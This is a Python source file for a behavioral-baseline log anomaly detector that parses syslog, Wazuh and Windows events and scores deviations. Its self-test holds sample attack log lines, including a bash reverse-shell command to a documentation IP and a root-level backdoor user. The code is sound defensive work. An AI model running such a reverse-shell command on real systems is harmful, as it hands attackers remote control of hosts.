"""Behavioral baseline engine for TinySOC. The honest detector. Learns a per-host profile from a stream of *normal* logs, then scores each new line on independent axes (user / process / host / time / ip). Fully deterministic and auditable: every score ships with a plain-English reason. This is the layer that actually catches anomalies. Perplexity only *highlights*; the baseline *decides*. See ppl_probe.py for why raw perplexity alone is theater. """ from __future__ import annotations import json import re from collections import Counter from datetime import datetime from typing import Any, Iterable # ── Syslog parsing ──────────────────────────────────────────────────────────── # "Jun 9 08:14:01 host program[pid]: message" _SYSLOG = re.compile( r"^(?P[A-Z][a-z]{2})\s+(?P\d{1,2})\s+(?P\d{2}):(?P\d{2}):(?P\d{2})\s+" r"(?P\S+)\s+(?P[\w./-]+)(?:\[(?P\d+)\])?:\s*(?P.*)$" ) _IPV4 = re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b") _USER = re.compile( r"(?:for(?: invalid user)?|user=|USER=|user\s)\s*([a-z_][a-z0-9_-]*)", re.IGNORECASE ) # Documentation / private ranges treated as internal. _INTERNAL_PREFIXES = ("10.", "192.168.", "127.", "198.51.100.", "203.0.113.", "192.0.2.") _INTERNAL_172 = re.compile(r"^172\.(1[6-9]|2\d|3[01])\.") def _is_external(ip: str) -> bool: if ip.startswith(_INTERNAL_PREFIXES) or _INTERNAL_172.match(ip): return False return True def parse_syslog_line(line: str) -> dict[str, Any] | None: """Extract normalized fields from one raw syslog/auth.log line, or None.""" match = _SYSLOG.match(line.strip()) if not match: return None msg = match.group("msg") ips = _IPV4.findall(msg) user = _USER.search(msg) return { "hour": int(match.group("h")), "host": match.group("host"), "process": match.group("prog"), "user": user.group(1).lower() if user else None, "src_ip": ips[0] if ips else None, "msg": msg, "raw": line.strip(), } # ── Wazuh JSON parsing ──────────────────────────────────────────────────────── _HMS = re.compile(r"(?:T|\s)(\d{2}):\d{2}:\d{2}") def _hour_from_ts(ts: str | None) -> int | None: """Pull the hour (0-23) out of an ISO or syslog timestamp, else None.""" if not ts: return None match = _HMS.search(ts) return int(match.group(1)) if match else None def parse_wazuh_event(obj: dict[str, Any]) -> dict[str, Any]: """Normalize a single Wazuh alert (JSON) into the baseline field shape. Handles both Linux (predecoder/decoder + data.srcip/srcuser) and Windows (data.win.system + data.win.eventdata) alert shapes. """ rule = obj.get("rule", {}) or {} agent = obj.get("agent", {}) or {} data = obj.get("data", {}) or {} pre = obj.get("predecoder", {}) or {} dec = obj.get("decoder", {}) or {} win = data.get("win", {}) or {} wsys = win.get("system", {}) or {} weds = win.get("eventdata", {}) or {} if wsys: # Windows Event Log alert host = wsys.get("computer") or agent.get("name") or "unknown" event_id = wsys.get("eventID") process = f"win:{event_id}" if event_id else (dec.get("name") or "windows") user = (weds.get("targetUserName") or weds.get("subjectUserName")) src_ip = weds.get("ipAddress") ts = wsys.get("systemTime") or obj.get("timestamp") else: # Linux / syslog-decoded alert host = agent.get("name") or pre.get("hostname") or "unknown" process = pre.get("program_name") or dec.get("name") or "unknown" user = data.get("srcuser") or data.get("dstuser") src_ip = data.get("srcip") ts = pre.get("timestamp") or obj.get("timestamp") full_log = obj.get("full_log", "") or rule.get("description", "") if user and user.strip("-") in ("", "127.0.0.1", "::1"): user = None if src_ip and src_ip.strip("-") in ("", "127.0.0.1", "::1"): src_ip = None return { "hour": _hour_from_ts(ts), "host": host, "process": process, "user": user.lower() if user else None, "src_ip": src_ip or None, "msg": full_log, "raw": (full_log or rule.get("description") or json.dumps(obj))[:300], } # ── Windows Event Log parsing (Get-WinEvent | ConvertTo-Json, no Wazuh) ─────── _WIN_USER = re.compile(r"Account Name:\s*([^\s][^\r\n]*)") _WIN_IP = re.compile(r"Source (?:Network )?Address:\s*((?:\d{1,3}\.){3}\d{1,3})") _PSDATE = re.compile(r"/Date\((\d+)") def _hour_from_wints(ts: Any) -> int | None: """Hour from a Get-WinEvent TimeCreated: epoch ms, '/Date(ms)/', or ISO.""" if ts is None: return None if isinstance(ts, (int, float)): try: return datetime.fromtimestamp(ts / 1000).hour except (OSError, ValueError, OverflowError): return None match = _PSDATE.search(str(ts)) if match: try: return datetime.fromtimestamp(int(match.group(1)) / 1000).hour except (OSError, ValueError, OverflowError): return None return _hour_from_ts(str(ts)) def parse_winevent(obj: dict[str, Any]) -> dict[str, Any]: """Normalize one Windows event (PowerShell Get-WinEvent JSON) for the baseline. Expected fields (from `Get-WinEvent | Select TimeCreated,Id,LevelDisplayName, MachineName,ProviderName,Message | ConvertTo-Json`). User and source IP are parsed out of the human-readable Message when present. """ msg = obj.get("Message") or "" user = None for match in _WIN_USER.finditer(msg): cand = match.group(1).strip() if cand and cand != "-" and not cand.startswith("S-1-"): user = cand # keep the last meaningful Account Name (the target) ip_match = _WIN_IP.search(msg) eid = obj.get("Id", obj.get("EventID")) first_line = msg.splitlines()[0].strip() if msg else "" desc = first_line or obj.get("ProviderName") or (f"Event {eid}" if eid is not None else "windows event") return { "hour": _hour_from_wints(obj.get("TimeCreated")), "host": obj.get("MachineName") or "windows", "process": f"win:{eid}" if eid is not None else (obj.get("ProviderName") or "windows"), "user": user.lower() if user else None, "src_ip": ip_match.group(1) if ip_match else None, "msg": desc, "raw": (desc or json.dumps(obj))[:300], } def _is_winevent(obj: dict[str, Any]) -> bool: keys = obj.keys() return (("Id" in keys or "EventID" in keys) and bool({"MachineName", "ProviderName", "TimeCreated"} & keys)) def iter_events(raw: str) -> list[str]: """Normalize an upload into a list of single-event strings. Handles a pretty-printed JSON array (Get-WinEvent | ConvertTo-Json), a single JSON object, NDJSON (one alert per line), and raw syslog text. """ raw = raw.strip() if not raw: return [] if raw[0] in "[{": try: data = json.loads(raw) except json.JSONDecodeError: data = None if isinstance(data, list): return [json.dumps(e) for e in data if isinstance(e, dict)] if isinstance(data, dict): return [json.dumps(data)] return [ln for ln in raw.splitlines() if ln.strip()] def parse_event(line: str) -> dict[str, Any] | None: """Dispatch one event: Wazuh JSON, Windows Event Log JSON, or raw syslog.""" text = line.strip() if not text: return None if text[0] in "{[": try: obj = json.loads(text) except json.JSONDecodeError: return parse_syslog_line(text) if isinstance(obj, dict): if {"rule", "full_log", "agent"} & obj.keys(): return parse_wazuh_event(obj) if _is_winevent(obj): return parse_winevent(obj) return parse_syslog_line(text) return parse_syslog_line(text) # ── Learning ────────────────────────────────────────────────────────────────── def learn_baseline(lines: Iterable[str]) -> dict[str, Any]: """Build an immutable host profile from a stream of normal log lines.""" hosts: set[str] = set() users: set[str] = set() processes: set[str] = set() src_ips: set[str] = set() hours: Counter[int] = Counter() user_process: set[tuple[str, str]] = set() parsed = 0 for line in lines: fields = parse_event(line) if not fields: continue parsed += 1 hosts.add(fields["host"]) processes.add(fields["process"]) hours[fields["hour"]] += 1 if fields["user"]: users.add(fields["user"]) user_process.add((fields["user"], fields["process"])) if fields["src_ip"]: src_ips.add(fields["src_ip"]) return { "hosts": frozenset(hosts), "users": frozenset(users), "processes": frozenset(processes), "src_ips": frozenset(src_ips), "hours": dict(hours), "user_process": frozenset(user_process), "lines_learned": parsed, } # ── Scoring ─────────────────────────────────────────────────────────────────── # Weights tune how much each axis pushes the combined (noisy-OR) risk. _AXES = ("time", "user", "process", "host", "ip") def _time_score(profile: dict, fields: dict) -> tuple[float, str | None]: hours = profile["hours"] hour = fields["hour"] if not hours or hour is None: return 0.0, None if hour not in hours: seen = sorted(hours) return 0.9, f"activity at {hour:02d}:00, never seen (learned hours: {seen[0]:02d}-{seen[-1]:02d})" total = sum(hours.values()) if hours[hour] / total < 0.02: return 0.5, f"activity at {hour:02d}:00 is rare for this host" return 0.0, None def _user_score(profile: dict, fields: dict) -> tuple[float, str | None]: user = fields["user"] if not user: return 0.0, None if user not in profile["users"]: return 0.85, f"user '{user}' never seen on this host" if (user, fields["process"]) not in profile["user_process"]: return 0.6, f"user '{user}' never ran '{fields['process']}' before" return 0.0, None def _process_score(profile: dict, fields: dict) -> tuple[float, str | None]: proc = fields["process"] if proc not in profile["processes"]: return 0.8, f"process '{proc}' never seen on this host" return 0.0, None def _host_score(profile: dict, fields: dict) -> tuple[float, str | None]: if fields["host"] not in profile["hosts"]: return 0.7, f"host '{fields['host']}' not in baseline" return 0.0, None def _ip_score(profile: dict, fields: dict) -> tuple[float, str | None]: ip = fields["src_ip"] if not ip or ip in profile["src_ips"]: return 0.0, None if _is_external(ip): return 0.9, f"connection involves external IP {ip}, never seen before" return 0.4, f"internal IP {ip} never seen before" _SCORERS = { "time": _time_score, "user": _user_score, "process": _process_score, "host": _host_score, "ip": _ip_score, } def score_line(profile: dict, line: str) -> dict[str, Any]: """Score one log line against the baseline. Pure: never mutates profile.""" fields = parse_event(line) if not fields: return {"parsed": False, "raw": line.strip(), "global_score": 0.0, "axes": {}, "reasons": []} axes: dict[str, float] = {} reasons: list[str] = [] for name in _AXES: score, reason = _SCORERS[name](profile, fields) axes[name] = round(score, 2) if reason and score >= 0.5: reasons.append(reason) # Noisy-OR: many medium signals combine into a high global score. survive = 1.0 for score in axes.values(): survive *= (1.0 - score) global_score = round(1.0 - survive, 3) return { "parsed": True, "raw": fields["raw"], "fields": fields, "axes": axes, "reasons": reasons, "global_score": global_score, } # ── Self-test / de-risk demo ────────────────────────────────────────────────── if __name__ == "__main__": import json normal_stream = [ "Jun 9 08:14:01 srv-web-01 sshd[2211]: Accepted publickey for deploy from 10.0.0.12 port 51020 ssh2", "Jun 9 08:15:33 srv-web-01 sudo: deploy : TTY=pts/0 ; PWD=/var/www ; USER=root ; COMMAND=/usr/bin/systemctl restart nginx", "Jun 9 08:20:11 srv-web-01 CRON[3120]: (deploy) CMD (/usr/local/bin/backup.sh)", "Jun 9 09:02:45 srv-web-01 sshd[2240]: Accepted publickey for deploy from 10.0.0.12 port 51044 ssh2", "Jun 9 17:48:09 srv-web-01 sshd[2301]: Accepted publickey for deploy from 10.0.0.12 port 51120 ssh2", ] profile = learn_baseline(normal_stream) print(f"Learned from {profile['lines_learned']} lines.\n") tests = { "NORMAL (ssh accepted, known user/ip/hour)": "Jun 9 09:31:02 srv-web-01 sshd[2240]: Accepted publickey for deploy from 10.0.0.12 port 51044 ssh2", "ATTACK (reverse shell, 03h, external IP, new process)": "Jun 9 03:14:55 srv-web-01 bash[9913]: bash -i >& /dev/tcp/198.51.100.13/4444 0>&1", "ATTACK (new user added at night)": "Jun 9 02:51:40 srv-web-01 useradd[7782]: new user: name=backup2, UID=0, GID=0", "ATTACK (ssh from external IP)": "Jun 9 04:07:12 srv-web-01 sshd[8120]: Failed password for root from 203.0.113.66 port 40410 ssh2", } for label, line in tests.items(): r = score_line(profile, line) print(f"### {label}") print(f" global_score = {r['global_score']} axes = {json.dumps(r['axes'])}") for reason in r["reasons"]: print(f" - {reason}") print()